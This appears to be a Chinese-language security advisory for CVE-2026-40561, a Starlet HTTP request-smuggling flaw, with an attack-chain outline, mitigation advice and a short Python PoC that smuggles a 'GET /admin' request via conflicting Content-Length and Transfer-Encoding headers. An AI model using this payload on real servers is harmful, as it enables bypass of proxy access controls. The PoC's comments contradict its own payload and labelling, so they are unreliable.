IPBUF安全漏洞报告
English
CVE-2026-40561 CVSS 5.3 中危

CVE-2026-40561 Starlet HTTP请求走私漏洞

披露日期: 2026-05-03
来源: 9b29abf9-4ab0-4765-b253-1875cd9b441e

漏洞信息

漏洞编号
CVE-2026-40561
漏洞类型
HTTP请求走私
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Starlet

相关标签

HTTP请求走私StarletPerlCVE-2026-40561请求头混淆

漏洞概述

Starlet是Perl语言的一个高性能HTTP服务器实现。在0.31及之前的版本中存在一个安全漏洞,涉及HTTP请求头优先级的错误处理。当请求中同时包含“Content-Length”和“Transfer-Encoding: chunked”这两个头部时,Starlet错误地优先处理了Content-Length。根据RFC 7230第3.3.3节的规定,Transfer-Encoding应当拥有最高优先级。这种不一致性导致攻击者可以通过精心构造恶意请求,绕过前端反向代理的安全检查,将恶意请求“走私”到后端服务器,从而引发潜在的安全风险,如缓存投毒或会话劫持。

技术细节

该漏洞的根本原因在于Starlet在解析HTTP请求消息体时未能正确遵循RFC 7230标准。标准的HTTP/1.1协议规定,当请求中同时存在Transfer-Encoding和Content-Length时,服务器必须忽略Content-Length,仅根据Transfer-Encoding(通常是chunked)来读取数据。然而,Starlet的旧版本实现逻辑相反,优先使用了Content-Length。攻击者利用这一点,可以向Starlet发送一个包含冲突头部的请求。对于前端反向代理(如Nginx或HAProxy),它们通常遵循RFC标准,优先解析Transfer-Encoding,从而认为请求主体结束;但对于后端的Starlet,它根据Content-Length读取,导致读取到代理认为已结束的数据包中的剩余部分作为下一个请求的开始。这种请求走私攻击可能导致后端应用状态混乱、绕过WAF检测、缓存污染,或在特定条件下导致未授权操作。

攻击链分析

STEP 1
侦察
攻击者识别目标环境使用了存在漏洞的Starlet版本(<= 0.31)作为后端服务器,且前端存在反向代理。
STEP 2
构造恶意请求
攻击者构造特殊的HTTP请求,同时包含Content-Length和Transfer-Encoding: chunked头部,并设置冲突的数值以利用解析差异。
STEP 3
请求走私
前端反向代理遵循标准,优先处理Transfer-Encoding结束请求;后端Starlet服务器错误地优先处理Content-Length,读取了额外的数据。
STEP 4
执行攻击
被“走私”的请求在后端被解析执行,可能导致绕过安全检查、窃取敏感数据或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for HTTP Request Smuggling via CL.TE vulnerability # Target: Starlet <= 0.31 # Scenario: Frontend parses TE (Transfer-Encoding), Backend (Starlet) parses CL (Content-Length) import socket def send_smuggling_request(host, port): # Constructing a request with conflicting headers # Frontend sees Transfer-Encoding: chunked, reads 0 length chunk and stops. # Backend (Starlet) sees Content-Length: 6, reads 'G', 'E', 'T', ' ', '/', ' ' as the body, # leaving the next part of the stream to be interpreted as the next request. payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 6\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /admin HTTP/1.1\r\n" "Host: vulnerable\r\n" "\r\n" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) response = s.recv(4096) s.close() return response.decode() # Note: Actual exploitation requires a specific frontend/backend configuration # print(send_smuggling_request("127.0.0.1", 8080))

影响范围

Starlet <= 0.31

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理层面(如Nginx)配置规则,拒绝同时包含Content-Length和Transfer-Encoding的请求,或者标准化请求头以消除歧义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表